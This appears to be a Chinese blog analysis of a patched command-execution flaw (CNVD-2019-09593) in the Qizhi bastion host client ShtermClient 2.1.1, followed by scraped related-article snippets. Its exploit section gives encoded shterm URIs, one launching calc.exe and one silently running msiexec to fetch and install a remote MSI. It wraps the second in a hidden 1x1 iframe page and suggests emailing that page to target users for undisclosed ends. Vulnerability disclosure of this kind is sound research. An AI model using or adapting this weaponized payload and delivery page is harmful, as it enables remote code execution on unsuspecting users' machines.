一、基本信息

参考:https://www.cnvd.org.cn/flaw/show/1559039

补丁信息:该漏洞的修复补丁已于2019年4月1日发布。如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。

二、漏洞挖掘过程

这是我第一次接触运维堡垒机,通过堡垒机登录目标服务器/应用,就像在本地直接打开一样,觉得很神奇。

1、挖掘过程

首先,在安装齐治运维堡垒机客户端软件ShtermClient后,会在计算机上注册一个伪协议“shterm”。堡垒机正是通过该协议,调用本地程序打开了连接到堡垒机的通道。如下图是chrome浏览器打开链接时的提示。

我们可以在注册表中找到它,Command子项指明了如何处理shterm协议的URI。

通过对该过程的抓包分析,发现将”app”:”mstsc”改为”app”:”calc”,生成的shterm URI即可打开本地的计算器。一度认为命令只能注入app参数,后来使用Procmon.exe监控LoadShell.exe的执行,发现会在%tmp%目录下生成一些日志文件,通过分析日志文件以及多次测试,得到了最终可行的利用方案。

Client/inflate.php源代码,可见服务端仅是将提交的数据,先进行压缩,在进行base64编码后即输出。

2、漏洞验证

如果你使用了存在漏洞的shtermclient,在浏览器中打开以下链接,将会在本机打开计算器calc.exe。

shterm://eJyrVkosKFCyUkpOzElWqgUAIf8Ejw==

三、漏洞利用

1、搭建测试环境

首先在靶机上安装ShtermClient-2.1.1。

然后,在kali上搭建PHP环境,以便生成shterm URI,见下图。

在靶机的浏览器中打开链接,即可弹出计算器。

2、Exploit

如下图,提交该POST请求,生成的shterm URI将会执行命令:

msiexec.exe /q /n /i https://github.com/Yasushi/putty/archive/master.msi

然后,把shterm URI放入iframe中,将该html页面的地址通过邮件或者你能想到的其他途径发给目标用户,即可达到不可告人的目的。

<html>
<head>
<meta charset="utf-8" />
<title>demo</title></head>
<body>
<h1>demo</h1>
<h1>齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)</h1>
<br><h1>Hacked by StudyCat</h1>
<iframe width="1" height="1" src="shterm://eJx1T8tqwzAQ/BWz5yC0tuu4uvWWQyAuDTm2yI9i48c6kt0klP57VzK4aaFCh5nZ2dndTygvoKBRGCUJbKCsPdsmKRNtmViVPsZxHByOGaonSbv96fwsB0RMIva8a+9BKeIHgSl/FUb8XPvss0KGtlhhPo7LQDfODoxf6qkyfWboentbc8KtK7tt/khuniGa7KzLvhms06bftuA1+CeTK/e9TK03ckhb3XLSpqyJ2mVBFnsamokMKLkBdjlZslwVKxx/oO7WI7U/stBdweSj4gAIBQoXOZvufltM4esbMSFnCg=="></iframe>
</body>
</html>

转载请注明出处。

齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析的更多相关文章

  1. 齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析

    一.基本信息 漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201 补丁信息:该漏洞的修复补丁已发布,如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具 ...

  2. 齐治运维堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析

    基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...

  3. 主机管理+堡垒机系统开发:strace命令及日志解析(五)

    一.strace命令简介 测试命令截图 第一个窗口执行命令如下 [root@elk ~]# w 16:51:56 up 3 days, 6:01, 3 users, load average: 0.0 ...

  4. 主机管理+堡垒机系统开发:strace命令用法详解(六)

    一.简单介绍 strace是什么? 按照strace官网的描述, strace是一个可用于诊断.调试和教学的Linux用户空间跟踪器.我们用它来监控用户空间进程和内核的交互,比如系统调用.信号传递.进 ...

  5. Python 堡垒机介绍

    堡垒机说明 由于运维行业流动性很高,也为了防止有人在服务中残留后门,照成安全隐患,在这里我们使用堡垒机保证服务器管理安全. 我们知道运维人员在登陆服务时需要登陆用户,从客户端到服务端的过程中堡垒机,将 ...

  6. day13--开发堡垒机

    本节内容 项目实战:运维堡垒机开发      商业:<齐治--堡垒机>     前景介绍        https://www.cnblogs.com/alex3714/articles/ ...

  7. 审计系统---初识堡垒机180501【all】

    堡垒机背景[审计系统] SRE是指Site Reliability Engineer (/运维工程师=运行维护 业务系统) 运维: 维护系统,维护业务,跟业务去走 防火墙: 禁止不必要的访问[直接访问 ...

  8. JumpServer 堡垒机 指南

    堡垒机介绍 在一个特定网络环境下,为了保障网络和数据不受外界入侵和破坏,而运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态.安全事件.网络活动,以便集中报警.及时处理及审计定责.    ...

  9. 基于python的堡垒机

    一 堡垒机的架构 堡垒机的核心架构通常如下图所示: 二.堡垒机的一般执行流程 管理员为用户在服务器上创建账号(将公钥放置服务器,或者使用用户名密码) 用户登陆堡垒机,输入堡垒机用户名密码,显示当前用户 ...

随机推荐

  1. k8s部署普罗米修斯

    参考链接:https://blog.csdn.net/ywq935/article/details/80818390 https://www.jianshu.com/p/ac8853927528 1. ...

  2. 第四章 Jinja2模版

    模板简介: 在之前的章节中,视图函数只是直接返回文本,而在实际生产环境中的页面大多是带有样式和复杂逻辑的HTML代码,这可以让浏览器渲染出非常漂亮的页面.目前市面上有非常多的模板系统,其中最知名好用的 ...

  3. 解决Spring对静态变量无法注入问题(转)

    问题今天在学习的过程中想写一个连接和线程绑定的JDBCUtils工具类,但测试时发现一直报空指针异常,上网查了之后Spring并不支持对静态成员变量注入,所以光试用@Autowired肯定是不行的.可 ...

  4. [Cypress] Find Unstubbed Cypress Requests with Force 404

    Requests that aren't stubbed will hit our real backend. To ensure we've stubbed all our routes, we c ...

  5. 【leetcode】1291. Sequential Digits

    题目如下: An integer has sequential digits if and only if each digit in the number is one more than the ...

  6. Centos创建用户并授权

    创建新用户 [root@VM ~]# adduser it为这个用户初始化密码,linux会判断密码复杂度,不过可以强行忽略:[root@VM_~]# passwd itChanging passwo ...

  7. 校验正确获取对象或者数组的属性方法(babel-plugin-idx/_.get)

    背景: 开发中经常遇到取值属性的时候,需要校验数值的有效性. 例如: 获取props对象里面的friends属性 props.user && props.user.friends &a ...

  8. 初学c++动态联编

    先看一下什么是C++联编? 我觉得通俗的讲,用对象来访问类的成员函数就是静态联编. 那什么是动态联编: 一般是通过虚函数实现动态联编. 看一个动态联编的例子: 我比较懒,所以直接粘贴了MOOC视频的图 ...

  9. 预处理、const、static与sizeof-为什么要引入内联函数

    1:引入内联函数的主要目的是,用它替代C语言中表达形式的宏定义来解决程序中函数调用的效率问题.在C语言里可以使用如下的宏定义: #define ExpressionName(Var1,Var2) (V ...

  10. 爬虫实践——数据存储到Excel中

    在进行爬虫实践时,我已经爬取到了我需要的信息,那么最后一个问题就是如何把我所爬到的数据存储到Excel中去,这是我没有学习过的知识. 如何解决这个问题,我选择先百度查找如何解决这个问题. 百度查到的方 ...